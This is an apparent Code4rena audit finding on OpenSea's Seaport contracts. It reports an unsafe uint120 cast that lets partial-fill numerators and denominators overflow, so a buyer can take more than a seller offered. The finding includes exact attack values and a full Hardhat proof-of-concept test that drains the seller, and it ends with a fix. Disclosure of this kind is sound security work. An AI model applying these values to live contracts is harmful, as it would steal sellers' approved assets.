Lines of code

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L228-L231

Vulnerability details

_orderStatus[orderHash].numerator = uint120(
    filledNumerator + numerator
);
_orderStatus[orderHash].denominator = uint120(denominator);

When an order is filled partially, the order's denominator and numerator will be updated in OrderValidator.sol#_validateOrderAndUpdateStatus based on the previous filledNumerator and filledDenominator, and the numerator and denominator of the current fulfill order.

However, in the current implementation, both the order's denominator and numerator in the storage and the buyer's inputs will be converted to uint256 and multiply to the new values.

https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L209-L211

// the supplied numerator & denominator by current denominator.
numerator *= filledDenominator;
denominator *= filledDenominator;

This makes it possible for the new values to exceed type(uint120).max, and later when updating order status and fill amount, they will be cast to uint120 unsafely.

A sophisticated attacker can send buy orders with specially designed values for denominator and numerator to manipulate the fill amount of the seller's order, then use unsafe type casting to reset the denominator and numerator to 0 and buy the entire offered amount again, effectively buying more against the seller's will.

Impact

One of the most important requirements of a marketplace protocol is that it MUST ensure that orders are fulfilled at the agreed-upon exchange rate (aka price) for an agreed-upon amount (quantity).

To put it another way, if the seller created an order to sell 3 apples for $1 each, the marketplace protocol MUST NOT accept a buy order for 5 cents per apple, nor a buy order for $1 million to buy 1 million apples. Even if there are 1 million apples in the seller's warehouse and the seller did give the key to the marketplace.

As a result, we believe that allowing the buyer to buy more than the offered amount is inherently wrong, and that it "places most or all user funds at risk," where the funds, in this case, are the assets that sit in the seller's wallet and have been approved to the protocol, can be bought and transferred to the buyer/attacker against the seller's will.

The impacted scenarios can be quite common in practice: "flash sale" is very popular among online marketplaces, where sellers sell products at a discounted price for a very limited quantity.

If a seller uses the seaport protocol to host a similar "flash sale" for their tokens and/or NFTs, the financial damage from such an attack can be severe.

PoC

Given:

orderType: PARTIAL_OPEN
offer: 100

The attacker can:

Send the first fulfill order with:

order.numerator = 2**117
order.denominator = 2**119
the attacker successfully bought 25

Updated orderStatus:

orderStatus.numerator = 166153499473114484112975882535043072
orderStatus.denominator = 664613997892457936451903530140172288

Send the second fulfill order with:

order.numerator = 4
order.denominator = 16
the attacker successfully bought 25, total bought amount is now: 50
orderStatus.numerator = 0
orderStatus.denominator = 0

Repeat step 1 and step 2, until the seller's approval or balance is drained.

This is the test script we wrote for this proof of concept:

it("Partial fills (oversold)", async () => {
  // Seller mints nft
  const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    10000,
    null,
    10
  );

  const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))];

  const nftBalanceOfSeller = await testERC1155.balanceOf(
    seller.address,
    nftId
  );

  const consideration = [
    getItemETH(amount.mul(1000), amount.mul(1000), seller.address),
    getItemETH(amount.mul(10), amount.mul(10), zone.address),
    getItemETH(amount.mul(20), amount.mul(20), owner.address),
  ];

  const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
  );

  let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
  );
  // 1/4
  order.numerator = ethers.BigNumber.from(2).pow(117);
  order.denominator = ethers.BigNumber.from(2).pow(119);

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);

  const nftBalanceOfSeller1 = await testERC1155.balanceOf(
    seller.address,
    nftId
  );
  console.log("nftBalanceOfSeller[1]", nftBalanceOfSeller1);
  console.log("orderStatus [1]", orderStatus);

  expect(nftBalanceOfSeller1).to.be.equal(
    nftBalanceOfSeller.sub(amount.mul(10).div(4).mul(1))
  );

  order.numerator = ethers.BigNumber.from(2).pow(4).div(4); // fill two tenths or one fifth
  order.denominator = ethers.BigNumber.from(2).pow(4); // fill two tenths or one fifth

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);
  console.log("orderStatus [2]", orderStatus);

  const nftBalanceOfSeller2 = await testERC1155.balanceOf(
    seller.address,
    nftId
  );
  console.log("nftBalanceOfSeller[2]", nftBalanceOfSeller2);

  expect(nftBalanceOfSeller2).to.be.equal(
    nftBalanceOfSeller1.sub(amount.mul(10).div(4).mul(1))
  );

  order.numerator = 1;
  order.denominator = 1;

  await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
      .connect(buyer)
      .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
      });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
      tx,
      receipt,
      [
        {
          order,
          orderHash,
          fulfiller: buyer.address,
          fulfillerConduitKey: toKey(false),
        },
      ],
      null,
      []
    );

    return receipt;
  });

  orderStatus = await marketplaceContract.getOrderStatus(orderHash);
  console.log("orderStatus[3]", orderStatus);

  const nftBalanceOfSeller3 = await testERC1155.balanceOf(
    seller.address,
    nftId
  );
  console.log("nftBalanceOfSeller[3]", nftBalanceOfSeller3);

  expect(nftBalanceOfSeller3.toNumber()).to.be.greaterThanOrEqual(
    nftBalanceOfSeller.sub(amount.mul(10)).toNumber()
  );
});

Recommendation

Consider removing the casting from uint120 to uint256 before the multiply, making the transaction revert when the multiply overflows.

code-423n4 / 2022-05-opensea-seaport-findings

[WP-H0] Unsafe type casting for the order's `denominator` and `numerator` may allow the attacker to buy more than the offered amount from the seller against the seller's will #149

Lines of code

Vulnerability details

Impact

PoC

Recommendation